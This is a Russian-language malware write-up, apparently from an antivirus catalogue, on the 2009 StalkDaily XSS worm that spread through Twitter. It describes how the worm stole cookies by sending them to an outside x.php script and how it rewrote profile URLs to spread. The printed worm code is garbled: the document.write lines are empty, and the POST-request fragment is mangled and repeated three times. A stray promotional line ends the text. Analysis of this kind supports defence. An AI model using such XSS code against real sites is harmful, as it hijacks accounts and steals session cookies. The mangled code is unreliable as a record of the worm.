Семейство XSS-червей, распространявшихся в социальной сети Twitter в апреле 2009 года
Червь использовал уязвимости в программном обеспечении Twitter, позволявшие производить атаки типа «межсайтовый скриптинг» (XSS) и модифицировать страницы учётных записей пользователей. Заражение происходило при посещении модифицированной страницы на сайте Twitter, или при переходе по гиперссылке в поддельном сообщении, присланном от имени участника Twitter. При этом исполнялся вредоносный сценарий JavaScript.
Основной функционал червей содержится в трех функциях:
* XHConn – использует стандартную функцию XMLHttpRequest() для ajax-вызовов;
* Urlencode – использует стандартную функцию encodeURIComponent() для кодировки URI;
* Wait – содержит вредоносный функционал.
Net-Worm.JS.Twettir.a использует XSS-уязвимость в обработке тега img:
document.write("");
document.write("");
В скрипт x.php передаются параметры cookies и username текущего пользователя.
После того, как атакуемый пользователь посетил вредоносную ссылку, червь начинает отправлять с его аккаунта в Twitter-е следующие сообщения (так же содержащие вредоносную ссылку):
Dude, www.StalkDaily.com is awesome. What's the fuss?" Join www.StalkDaily.com everyone!" Woooo, www.StalkDaily.com :)" Virus!? What? www.StalkDaily.com is legit!" Wow...www.StalkDaily.com" "@twitter www. StalkDaily.com"
Также из данных сообщений произвольным образом выбирается одно, которое будет отображаться в профиле у зараженного пользователя.
Часть кода червя, в которой происходит изменение параметров пользователя посредством POST-запросов:
var xss = urlencode('http://www.stalkdaily.com"> &tab="home&update=update");" &user[url]="+ xss+" authenticity_token="+authtoken+" ,="" post="" settings="" account="" ajaxconn1.connect(="" xhconn();="" ajaxconn1="new" var="" &status="+updateEncode+" update="" status="" ajaxconn.connect(="" ajaxconn="new" );="">&tab="home&update=update");" &user[url]="+ xss+" authenticity_token="+authtoken+" ,="" post="" settings="" account="" ajaxconn1.connect(="" xhconn();="" ajaxconn1="new" var="" &status="+updateEncode+" update="" status="" ajaxconn.connect(="" ajaxconn="new" );="">
&tab="home&update=update");" &user[url]="+ xss+" authenticity_token="+authtoken+" ,="" post="" settings="" account="" ajaxconn1.connect(="" xhconn();="" ajaxconn1="new" var="" &status="+updateEncode+" update="" status="" ajaxconn.connect(="" ajaxconn="new" );="">В последнем POST-запросе с помощью изменения параметра user[url] на страницу пользователя включается ссылка на зловредный скрипт. Таким образом, все пользователи, посетившие зараженную страницу другого пользователя с уже добавленным скриптом, инициируют выполнение червя у себя. Это, в свою очередь, приводит к рассылке нового сообщения от их имени и добавлению зловредного скрипта к их странице.
Устали от того, что Интернет знает о вас все? Присоединяйтесь к нам и станьте невидимыми!